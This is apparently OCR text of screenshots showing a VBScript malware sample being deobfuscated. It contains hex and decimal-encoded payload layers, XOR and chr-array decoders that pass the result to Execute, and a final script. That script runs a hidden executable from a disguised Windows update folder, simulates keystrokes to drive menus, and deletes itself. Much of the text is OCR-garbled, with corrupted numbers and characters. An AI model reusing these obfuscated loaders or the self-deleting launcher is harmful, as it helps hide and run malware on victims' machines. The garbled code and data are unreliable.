B29322B2B322A2A322B2C322B2C322A2A322B2F322B2E322A2A322B2F322B2C322A2A322B2C322B2C322A2A3228B2F322B2C322A2A322B2C322B2C322A2A322
B2F322B2E322A2A322B2C322B2D322A2A322B2C322B29322A2A322B2C322B2C322A2A322B2F322B2E322A2A322B2C322B29322A2A322B2C322A27322A2A322
A27322B2F322A2A322A27322A26322A2A322B2B322A26322A2A322A27322A27322A27322A2A322A27322A27322B2C322A2A322B2F322B2E322A2A322A27322
A26322A27322A2A322B29322B2B322A2A322B29322B29322A2A322A27322A26322B2C322A2A322B2F322B2E322A2A322B2B322B29322A2A322A27322A26322
B28322A2A322A27322A26322A26322A2A322B2A322B28322A2A322B293228B2B322A2A322A27322A27322B2A322A2A322B29322B2B322A2A322B2F322B2E322
A2A322A27322A26322B2D322A2A322A27322A27322A26322A2A322B2F322B2E322A2A322B2B8322B2B322A2A322A27322B2E322A27322A2A322B2A322B2D322
A2A322A27322A27322B2C322A2A322A27322A27322B2C322A2A322B29322B2B322A2A322A27322B2E322A27322A2A322A27322B2F322A2A322A27322A26322
A2A322B2B322B28322A2A322A27322A26322A27322A2A322A27322A27322B29322A2A322A27322A26322A26322A2A322B293228B2B322A2A322A27322A27322
B2A322A2A322B29322B2B322A2A322B2A322A27322A2A322B2B322B28322A2A322A27322A26322A27322A2A322A27322A27322B29322A2A322B2A322B28322
A2A322B29322B2B322A2A322A27322A27322B2A322A2A322B29322B2B322A2A322B2F322B28322A2A322B29322B29322A2A322A27322A26322B2C322A2A322
A27322A27322B2C322A2A322B2C322A26322A2A322B2B322B29322A2A322A27322A26322B28322A2A322A27322A26322A26322A2A322B2A322B28322A2A322
B29322B2B322A2A322A27322A27322B2A322A2A322B29322B2B322A2A322B2C322A27322A2A322A27322B2F322A2A322A27322A26322A2A3228B2B322B28322
A2A322A27322A26322A27322A2A322A27322B2E322A26322A2A322A27322A27322B2A322A2A322A27322B2F322A2A322A27322A26322A2A322B2A322B28322

a1 \2A322B29322B2B322A2A322A27322A27322B2A322A2A322B29322B2B322
F_ e VR i 28322F2F28322F2f2A322F2F2832282F322729322\27322,&27322829322A2£\32EBZAB22B28322A2A322829322828322A2A322

A2A322B29322B2B322A2A322A27322A27322B2A322A2A322B29322,76322A2A32282A322829322A2A322A27322A27322A26322A2A322A27322
B2B322A2A322B2C322B2C322A2A322B2C322B29322A2A322B2C32232B322A2A322A27322A27322A26322A2A322B29322829322A2A322A27322

\27322A27322A26322A2A322A27322B2F322A2A322A27322A26322A2A322
A26322&2'&32282(:32282(:322&2;_\32282032282(:322A2A32ZB2D322\2A3228293228293221&2»&322&27322A2732282BB22A2»&322A27322A27322

B2E322A2A322B2C322B2C322A2A322B2C322B29322A2A322B2C32212A322A27322A26322B2C322A2A322A27322A27322B2C322A2A322A27322

829322)&2'&32282(322829322'&2A32282CBzszc322A2A32282C322!28322#\21&322BEC322A2632215\2:5\322A27322A26322}3\263221&2&322829322
\2A322A27322B2F322A2A322A27322A26322A2F322F2D322F2E322F2E2C3

A27322A2A322B2D322A26322A2A322B2C322B2C322A2A322B2D322,;¢322628322828322F2F2F322F2F29322F 2F 2E322F2E2E322A2E322F 2F 2
B28322A2A322B2C322B29322A2A322B2C322B2C322A2A322B2C322:322D2C322D2C322D2C322D2C322F2F2A322F2F29322F2F2E322F 2F2E322

\322D26322727322F2E2A322F2F2A322A2E322F2F2B322F2F28322F2F2A3
B29322)&2"'-\3':’2282C322829322'0‘23‘:'\32282D:32282D322}3‘2"‘-\322B2C32ZZZE322F2F28322F2D3221:2E322827322F2C2E322F2E2F322727322F2FZ93

B2C322A2A322B2C322B29322A2A322B2C322B28322A2A322B2C322:2A3C13142453234D6E72776A365A372458716C327B7F7D7632513277703
25324502350387D766C36513724507B666A247B667B7D6B6A7B3250" ¢
For i=1 to Len(x) Step 2:s=s&Chr(CLng("&H"&Mid(x,i,2)) Xor 3@):Next:Execute Replace(s,","," ") |

cEXRIKE T



z %_E

ANTI’(
44 53 55 44 53 44 52 44 52 57 44 52 57 44 53 50 44 52 52 44 52 57 44 52 56 44 53 51 44 52 52 44 52 57 44 52
44 52 52 44 52 57 44 52 57 44 53 52 44 52 52 44 53 50 44 53 52 44 52 52 44 52 57 44 52 57 44 53 51 44 52 52 44 53
44 52 52 44 52 57 44 52 57 44 53 50 44 52 52 44 52 57 44 52 56 44 53 51 44 52 52 44 52 57 44 52 57 44 53 48 44 52
44 52 57 44 53 52 44 52 52 44 52 57 44 52 56 44 53 48 44 52 52 44 52 57 44 52 57 44 53 53 44 52 52 44 52 57 44 52
44 52 52 44 52 57 44 52 56 44 53 54 44 52 52 44 52 57 44 52 57 44 52 56 44 52 52 44 53 55 44 53 53 44 52 52 44 52
44 53 55 44 52 52 44 52 57 44 52 56 44 52 57 44 52 52 44 52 57 44 53 49 44 52 52 44 52 57 44 52 56 44 52 52 44 57
44 52 52 44 52 57 44 52 56 44 52 52 44 52 57 44 53 49 44 52 52 44 52 57 44 52 56 44 52 52 44 52 57 44 53 49 44 52
44 52 56 44 52 52 44 52 57 44 53 49 44 52 52 44 52 57 44 52 56 44 52 52 44 52 57 44 53 49 44 52 52 44 52 57 44 52
44 53 49 44 53 48 44 52 52 44 53 49 44 53 48 44 52 52 44 53 49 44 53 48 44 52 52 44 53 49 44 53 48 44 52 52 44 52
44 52 52 44 52 57 44 52 56 44 51 52 44 49 51 44 49 48 44 55 48 44 49 49 55 44 49 49 48 44 57 57 44 49 49 54 44 49
49 49 44 49 49 48 44 51 50 44 54 55 44 49 48 52 44 49 49 52 44 54 56 44 57 55 44 49 49 54 44 57 55 44 52 48 44 54
44 49 49 54 44 57 55 44 52 49 44 49 51 44 49 48 44 55 55 44 49 50 49 44 54 53 44 49 49 52 44 49 49 52 44 57 55 44
51 50 44 54 49 44 51 50 44 56 51 44 49 49 50 44 49 48 56 44 49 48 53 44 49 49 54 44 52 48 44 54 56 44 57 55 44 49
G5 44 52 52 44 51 50 44 51 52 44 52 52 44 51 52 44 52 52 44 51 50 44 52 53 44 52 57 44 52 52 44 51 50 44 52 57 44
51 44 49 48 44 55 48 44 49 49 49 44 49 49 52 44 51 50 44 49 48 49 44 57 55 44 57 57 44 49 48 52 44 51 50 44 55 57
44 49 48 48 44 54 56 44 57 55 44 49 49 54 44 57 55 44 51 50 44 49 48 53 44 49 49 48 44 51 50 44 55 55 44 49 50 49
49 49 K2 44 49 49 52 44 57 55 44 49 58 49 44 49 51 44 49 48 44 55 56 44 49 48 49 44 49 49 57 44 49 48 48 44 57 55

[d="115 116 114 115 61 97 114 114 97 N21 40 49 51 44 49 48 48 44 57 49 54 44 57 55 44 51 56 44 57 57 44 49

44 52 52 44 52 57 44 52 57 44 52 56 44 52 52 44 53 49 44 53 48 44 '54 44 57 55 44 52 49 44 49 51 44 49 48

44 52 52 44 52 57 44 52 57 44 53 50 44 52 52 44 52 57 44 52 57 44 '49 49 52 44 54 56 44 57 55 44 49 49 54

A4 53 48 44 52 52 44 53 54 44 53 48 44 52 52 44 52 57 44 52 56 44 '22 jj jg Z; jg 32 jg j‘;‘ 2‘8‘ zz 3‘91 ‘;‘2 32

44 52 57 44 53 53 44 52 52 44 52 57 44 52 56 44 53 55 44 52 52 44 !\ . oo 44 ca 55 44 49 48 52 44 49 49

44 53 53 44 53 54 44 52 52 44 52 57 44 52 56 44 52 57 44 52 52 44 ' 44 c7 cc 44 52 49 44 49 51 44 49 48 41

44 52 52 44 52 57 44 53 49 44 52 52 44 52 57 44 52 56 44 52 52 44 Y41 13 1@ 32 32 32 32 32 32 32 32 114 11;

44 52 52 44 52 57 44 52 57 44 53 52 44 52 52 44 53 49 44 53 48 44 41 13 10 110 101 120 116 13 10 69 120 1¢

AA_ B BE1_AA B3 ED AA_ED _FL_AA ED E7T AA BEY CY AA ED2 EC AA E2 EE AA |

[:M=Split(D):For each O in M:N=N&chr(0):Next:wsh.echo N | .
ST RIn T




,48,56,44,52,54,44,56,51,44,49,48,49,44,49,49,48,44,49,48,48,44,55,53,44,49,48,49,44,49,
,49,48,53,44,51,52,44,49,51,44,49,48,44,56,55,44,56,51,44,57,57,44,49,49,52,44,49,48,53,
,51,44,49,48,56,44,49,48,49,44,49,48,49,44,49,49,50,44,51,50,44,53,51,44,52,56,44,52,56,
,44,49,48,49,44,57,55,44,49,49,54,44,49,48,49,44,55,57,44,57,56,44,49,48,54,44,49,48,49,
,44,56,51,44,49,48,52,44,49,48,49,44,49,48,56,44,49,48,56,44,52,54,44,54,53,44,49,49,50,
,57,57,44,57,55,44,49,49,54,44,49,48,53,44,49,49,49,44,49,49,48,44,51,52,44,52,49,44,52,
,49,48,51,44,49,48,56,44,49,48,49,44,54,56,44,49,48,49,44,49,49,53,44,49,48,55,44,49,49,
,49,48,44,49,48,50,44,49,49,53,44,49,49,49,44,52,54,44,49,48,48,44,49,48,49,44,49,48,56,
,49,48,50,44,49,48,53,44,49,48,56,44,49,48,49,44,51,50,44,49,49,57,44,49,49,53,44,57,57,
,49,49,54,44,52,54,44,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,

[strs=array(13,1v9,9/,116,5/,61,34,55,57,44,45,49,48,449,48,49,44,49,51,44,49,48,44,49,51,44,49,

,44,56,50,44,49,48,49,44,49,49,53,44,49,45,55,44,49,444,51,50,44,51,50,44,51,50,44,49,51,44,49,
,49,51,44,49,48,44,49,49,53,44,49,48,49,44,45,49,54,4441,13,10,77,121,65,114,114,97,121,32,61,3
,44,57,55,44,45,45,54,44,49,48,49,44,49,49,45,44,57,5(111,114,32,101,97,99,104,32,79,108,100,68
»57,44,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,498,101,119,68,97,116,97,38,99,104,114,40,7
,56,44,49,48,56,44,51,52,44,52,49,44,495,51,44,49,48,491,119,68,97,116,97,13,10,69,110,100,32,70
A9 A4 3oy Pul85530.17,8405102952%07 0108, 1441808557 ) 116,97,40,100,97,116,97,41,13,10)

for i=1 to UBound(strs)

runner=runner&chr(strs(i))
next
Execute runner
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data="79,110,32,69,114,114,111,114,32,82,101,115,117,189,101,32,78,101,120,116,13,10,115,101,116,32,119,115,61,99,114,101,97,1
16,1e1,111,98,106,101,99,116,40,34,119,115,99,114,165,112,116,46,115,104,101,108,168,34,41,13,10,83,101,116,32,162,115,111,32,
61,32,67,114,101,97,116,101,79,98,106,101,99,116,408,34,83,99,114,105,112,116,105,110,163,46,706,105,168,101,83,121,115,116,101,
109,79,98,1¢6,101,99,116,34,41,13,10,83,101,116,32,111,98,106,83,104,101,108,108,32,61,32,67,114,101,97,116,101,79,98,1606,101,
99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,111,98,186,83,104,101,18,108,46,82,117,110,40,115
,116,114,67,111,109,1089,%7,110,1090,76,165,110,101,41,13,106,115,101,116,32,87,115,104,83,104,101,108,108,32,61,32,67,114,101,97
,116,101,79,98,106,101,99,116,40, 34,87,83,99,114,185,112,116,46,83,104,101,168,168,34,41,13,10,67,114,101,597,116,101,79,98,1686
,101,99,116,40,34,83,104,101,108,108,46,65,112,112,168,185,99,9/,116,105,111,1106,34,41,46,84,111,163,103,108,101,68,1081,115,180
7,116,111,112,13,10,87,83,99,114,105,112,116,46,83,108,101,101,112,32,49,48,48,13,10,119,115,46,114,117,110,32,34,67,58,92, 36,
/8,116,85,110,1085,110,115,116,97,168,108,75,66,49,54,48,49,65,36,92,66,105,110,66,97,99,107,117,112,92,77,89,84,69,77,86,34,13
,10,87,83,99,114,105,112,116,46,83,108,101,101,112,32,53,48,48,13,10,87,115,104,83,1084,101,18,168,46,83,101,110,106,75,101,12
1,115,32,34,56,34,13,106,87,83,99,114,105,112,116,46,83,108,101,101,112,32,53,48,48,13,10,87,115,104,83,104,101,1688,108,46,83,1
©1,110,100,75,101,121,115,32,34,43,408,123,70,49,48,125,-23639,34,13,10,87,83,99,114,185,112,116,46,83,1088,101,101,112,32,53,48
,48,13,10,87,115,104,83,164,101,108,1068,46,83,101,1160,1006,7/75,101,121,115,32,34,165,34,13,10,87,83,99,114,105,112,116,46,83,1688
,101,101,112,32,53,48,48,13,10,67,114,101,97,116,101,79,98,106,101,99,116,40,34,83,1084,101,108,108,46,65,112,112,108,185,99,97
,116,105,111,110,34,41,46,84,111,103,163,188,101,68,101,115,1067,116,111,112,153,10,162,115,111,46,100,101,108,181,116,101,1062,1
85,108,101,32,119,115,99,114,105,112,116,46,115,99,114,105,112,116,102,11/,108,18,110,97,169,101,13,10,13,16,13,10,13,10,13,1
0,43, 16,32 39,39 -39 .45 90"

Function ChrData(Data)

MyArray = Split(Data, ",", -1, 1)

For each 0ldData in MyArray

Newdata=NewData&chr(Q0ldData)

Next

ChrData=NewData

End Function

wsh.echo Chrdata(data)
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On Error Resume Next

set ws=createobject("wscript.shell™)

Set fso = CreateObject("Scripting.FileSystemObject™)
Set objShell = CreateObject("Wscript.Shell™)
objShell.Run(strCommandLine)

set WshShell = CreateObject("WScript.Shell™)
CreateObject("Shell.Application”).ToggleDesktop
WScript.Sleep 166@

ws.run "C:\$NtUninstallKB16©@1A%$\BinBackup\MYTEMP"
WScript.Sleep 566

WshShell.SendKeys "8

WScript.Sleep 5680

WshShell.SendKeys "+({F10}) "

WScript.Sleep 5680

WshShell.SendKeys "1°"

WScript.Sleep 5608@
CreateObject("Shell.Application”).ToggleDesktop
fso.deletefile wscript.scriptfullname

k=% Ik 1
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